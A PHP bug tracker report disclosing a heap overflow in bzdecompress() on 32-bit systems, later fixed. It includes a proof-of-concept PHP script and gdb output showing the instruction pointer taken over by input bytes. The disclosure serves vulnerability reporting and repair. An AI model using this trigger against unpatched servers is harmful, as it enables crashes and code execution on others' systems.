php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #73386 Heap overflow due to integer overflow in bzdecompress() function
Submitted: 2016-10-25 09:35 UTC Modified: 2017-02-13 01:00 UTC
From: bughunter at fosec dot vn Assigned: stas (profile)
Status: Closed Package: Bzip2 Related
PHP Version: 7.1Git-2016-10-25 (Git) OS: Linux
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: bughunter at fosec dot vn
New email:
PHP Version: OS:

 

 [2016-10-25 09:35 UTC] bughunter at fosec dot vn
Description:
------------
I have found some vulnerable code at bzdecompress() function in module Bzip2. bzdecompress() function creates a new zend_string object to store decompressed data. The size of destination string depends on the size of source string. ( reffer at ext/bz2/bz2.c:589 )

static PHP_FUNCTION(bzdecompress)
{
....

	bzs.avail_in = source_len;
	/* in most cases bz2 offers at least 2:1 compression, so we use that as our base */
	bzs.avail_out = source_len * 2;
	dest = zend_string_alloc(bzs.avail_out + 1, 0);
    
....
}

If compressed string is too long, bzs.avail_out will be an unexpected value and zend_string_alloc() function will allocate a small memory range. Due to missing check of size before calling
zend_string_alloc(), this new memory range can not use to store large decompressed data and lead to heap overflow. The overflow results as arbitrary code execution, I can control eip register to the arbitrary value. This bug is only triggered in 32bit machine.

Solution:
It should be zend_string_alloc_safe instead of zend_string_alloc.

Test script:
---------------
<?php
ini_set('memory_limit', -1);
$s = str_repeat('A', 0xE3AC)."BBBB".str_repeat('C', 0x1C50);
$a = bzcompress($s);
$a = $a.str_repeat('A', 4634 - strlen($a));
$a = str_repeat($a, 0x7ffffffe / strlen($a));
bzdecompress($a);
?>

Actual result:
--------------
[root@local PHP-7.1]# gdb --args sapi/cli/php -f ../crash/bz_poc.php

[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x1
ECX: 0xffffff60
EDX: 0x7fff
ESI: 0xb7813020 --> 0xb78743f0 ('A' <repeats 28 times>, "BBBB", 'C' <repeats 168 times>...)
EDI: 0xb787440c ("BBBB", 'C' <repeats 196 times>...)
EBP: 0xbfffc094 --> 0x0
ESP: 0xbfffbffc --> 0x835fd02 (<execute_ex+34>: test   edi,edi)
EIP: 0x42424242 --> 0x2478184
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0x42424242:  test   BYTE PTR [ecx+0x60380247],al
   0x42424248:  inc    ecx
   0x42424249:  inc    ecx
   0x4242424a:  inc    ecx
[------------------------------------stack-------------------------------------]
0000| 0xbfffbffc --> 0x835fd02 (<execute_ex+34>:        test   edi,edi)
0004| 0xbfffc000 --> 0xbfffc094 --> 0x0
0008| 0xbfffc004 --> 0xb7864180 --> 0x2
0012| 0xbfffc008 --> 0x0
0016| 0xbfffc00c --> 0x83aed9b (<zend_execute+315>:     mov    edx,DWORD PTR [esp+0x18])
0020| 0xbfffc010 --> 0xb7813020 --> 0xb78743f0 ('A' <repeats 28 times>, "BBBB", 'C' <repeats 168 times>...)
0024| 0xbfffc014 --> 0x0
0028| 0xbfffc018 --> 0x1c
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()
gdb-peda$ i r eip
eip            0x42424242       0x42424242
gdb-peda$

EIP is controlled as 0x42424242, from the input "BBBB".

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-11-05 21:48 UTC] stas@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: stas
 [2016-11-05 21:48 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 [2017-02-13 01:00 UTC] stas@php.net
-Type: Security +Type: Bug
 
PHP Copyright © 2001-2025 The PHP Group
All rights reserved.
Last updated: Sun Jan 05 06:01:27 2025 UTC